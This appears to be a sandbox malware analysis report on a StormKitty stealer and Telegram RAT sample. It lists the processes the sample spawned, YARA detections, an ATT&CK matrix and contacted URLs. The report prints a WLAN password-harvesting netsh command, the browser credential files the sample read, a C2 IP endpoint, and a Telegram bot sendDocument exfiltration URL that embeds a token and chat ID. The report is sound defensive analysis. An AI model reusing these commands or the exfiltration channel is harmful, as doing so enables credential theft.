Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /F /IM 6044
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe Timeout /T 2 /Nobreak

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe TaskKill /F /IM 6044

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId

Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Queries volume information: C:\Users\user\Desktop\HTZ4az17lj.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tcpview.exe
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lordpe.exe
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: autoruns.exe
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: regmon.exe

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected StormKitty Stealer

Source: Yara match	File source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HTZ4az17lj.exe PID: 6044, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HTZ4az17lj.exe PID: 6044, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx5
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\keystore
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HTZ4az17lj.exe PID: 6044, type: MEMORYSTR

Remote Access Functionality

Yara detected StormKitty Stealer

Source: Yara match	File source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HTZ4az17lj.exe PID: 6044, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HTZ4az17lj.exe PID: 6044, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	131 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	111 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	11 Process Injection	11 Obfuscated Files or Information	LSASS Memory	43 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Software Packing	Security Account Manager	341 Security Software Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	151 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
HTZ4az17lj.exe	45%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
HTZ4az17lj.exe	56%	Virustotal		Browse
HTZ4az17lj.exe	100%	Avira	HEUR/AGEN.1313362
HTZ4az17lj.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	100%	Avira	HEUR/AGEN.1313362
C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	45%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	56%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
229.116.3.0.in-addr.arpa	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Link
https://www.vova.com/es/login.php	1%	Virustotal	Browse
https://www.miclaroapp.com.co/	0%	Virustotal	Browse
http://www.woodsmithvideotips.com/home	0%	Virustotal	Browse
https://www.vectorart3d.com/store/	0%	Virustotal	Browse
https://www.themakersmob.com/register/resend	0%	Virustotal	Browse
https://www.directv.com.co/Midirectv/home/LogIn	0%	Virustotal	Browse
https://shop.site-link.com/peachtreeorder/custinfo.asp	0%	Virustotal	Browse
https://www.mercadolibre.com.co/registration-buy	0%	Virustotal	Browse
https://www.woodsmithlibrary.com/account/password/reset/complete/	0%	Virustotal	Browse
http://app.turboboy.co/users	0%	Virustotal	Browse
https://reset.vova.com/	1%	Virustotal	Browse
http://128.199.113.162/XtfcshEgt/upwawsfrg.php?zd=1	10%	Virustotal	Browse
https://www.gef.com.co/tienda/UserRegistrationForm	0%	Virustotal	Browse
https://registration.mercadolibre.com.co/registration-buy	0%	Virustotal	Browse
https://todoenartes.com/register	0%	Virustotal	Browse
http://softwaredepotdesk.com/	0%	Virustotal	Browse
https://webmail.telmex.net.co/app/s/LoginPage.asp	0%	Virustotal	Browse
https://www.ptreeorder.com/custinfo.asp	0%	Virustotal	Browse
https://elmejorperfume.com/checkout/	0%	Virustotal	Browse
https://www.dominos.com.co/pages/order/payment	0%	Virustotal	Browse
https://www.hponline.com.co/account/login	0%	Virustotal	Browse
https://www.buildsomething.com/sign-up	0%	Virustotal	Browse
http://128.199.113.162/XtfcshEgt/upwawsfrg.php	10%	Virustotal	Browse
https://www.woodsmithvideoedition.com/account/login/	0%	Virustotal	Browse
http://softdepotsupport.com/	0%	Virustotal	Browse
https://www.panamericana.com.co/registro/inicio	0%	Virustotal	Browse
http://www.woodsmithvideoedition.com/account/login/	0%	Virustotal	Browse
http://128.199.113.162	9%	Virustotal	Browse
http://www.woodsmithlibrary.com/login/	0%	Virustotal	Browse
https://www.directv.com.co/midirectv/ingresar	0%	Virustotal	Browse
https://resultados.lch.com.co/ingresar	0%	Virustotal	Browse
https://webmail.claro.net.co/app/s/LoginPage.asp	0%	Virustotal	Browse
https://www.mundialdetornillos.com/index.php	0%	Virustotal	Browse
https://www.iclaro.com.hn/app/s/LoginPage.asp	0%	Virustotal	Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	142.250.105.99	true	false		high
api.mylnikov.org	104.21.44.66	true	false		high
api.telegram.org	149.154.167.220	true	false		high
icanhazip.com	104.16.185.241	true	false		high
229.116.3.0.in-addr.arpa	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://icanhazip.com/	false		high
file:///C:/Users/user/AppData/Local/Temp/p.html	false		low
http://128.199.113.162/XtfcshEgt/upwawsfrg.php?zd=1	false	10%, Virustotal, Browse	unknown
http://128.199.113.162/XtfcshEgt/upwawsfrg.php	false	10%, Virustotal, Browse	unknown
https://api.telegram.org/bot5444063802:AAFQNx_Hpow_i63EVEkfhenefbLEXQSAzbY/sendDocument?chat_id=1126217452	false		high
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://app.turboboy.co/users	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/chrome_newtab	HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	false		high
https://facturanet.todo1.com/CO/login_CO.aspx	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.woodsmithlibrary.com/account/password/reset/complete/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	false		high
https://id.tigo.com/openid/login/signup_form	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.vova.com/es/login.php	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	1%, Virustotal, Browse	unknown
https://api.telegram.org	HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580650000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580650000.00000004.00000800.00020000.00000000.sdmp, HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.miclaroapp.com.co/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.pinterest.es/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://portal.vectric.com/register/9W7jITU6QgSBfrIhb_0UOw	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.vectorart3d.com/store/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://es.pinterest.com/pin/329325791483354616/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://api.telegram.org/bot5444063802:AAFQNx_Hpow_i63EVEkfhenefbLEXQSAzbY/sendDocument?chat_id=1126	HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580650000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.woodsmithvideotips.com/home	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	false		high
https://www.directv.com.co/Midirectv/home/LogIn	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
http://128.199H	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.000002568026C000.00000004.00000800.00020000.00000000.sdmp	false		low
https://shop.site-link.com/peachtreeorder/custinfo.asp	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.tumblr.com/register	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
http://www.woodsmithshop.com/account/login/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://es.scribd.com/doc/181228937/Manual-de-Ayuda-Vectric-Aspire-3-5	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.dropbox.com/s/ppd4vfvmii0jnt8/Cam%20lever%20clamps%20for%20worksurfaces%20with%20dog%20h	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://todoenartes.com/register	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.wwgoa.com/checkout/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.themakersmob.com/register/resend	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.mercadolibre.com.co/registration-buy	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://reset.vova.com/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	1%, Virustotal, Browse	unknown
https://www.paypal.com/signin	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://es.scribd.com/doc/116279436/Tabla-Conversion-Completa	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.gef.com.co/tienda/UserRegistrationForm	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://elmejorperfume.com/checkout/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://github.com/LimerBoy/StormKitty	HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/join	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://registration.mercadolibre.com.co/registration-buy	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.hponline.com.co/account/login	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.buildsomething.com/sign-up	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.ptreeorder.com/custinfo.asp	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
http://softwaredepotdesk.com/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	false		high
https://www.instructables.com/id/DIY-Chess-Board/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://api.mylnikov.org	HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	false		high
http://icanhazip.com	HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woodsmithlibrary.foxycart.com/checkout	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://webmail.telmex.net.co/app/s/LoginPage.asp	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.000002568026C000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/botp	HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dominos.com.co/pages/order/payment	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
http://128.199.113.162	HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.000002568026C000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	false	9%, Virustotal, Browse	unknown
http://www.woodsmithvideoedition.com/account/login/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://pse.todo1.com/PseBancolombia/control/ElectronicPayment.bancolombia	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://account.formula1.com/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.woodsmithvideoedition.com/account/login/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	false		high
https://micorreo.telmex.com/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://co.pinterest.com/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
http://softdepotsupport.com/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	false		high
https://www.pinterest.com/smmmokin14/woodworking-tips-and-jigs/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.ecosia.org/newtab/	HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	false		high
https://www.paypal.com/webapps/hermes	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://wsvideoedition.foxycart.com/checkout	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	tmp756C.tmp.dat.0.dr	false		high
https://www.banggood.com/login.html	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.mundialdetornillos.com/index.php	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://secure.totalav.com/createlogin	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.woodsmithplans.com/account/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
http://www.instructables.com/id/DIY-Chess-Board/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
http://es.scribd.com/doc/181228937/Manual-de-Ayuda-Vectric-Aspire-3-5	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://ac.ecosia.org/autocomplete?q=	HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	false		high
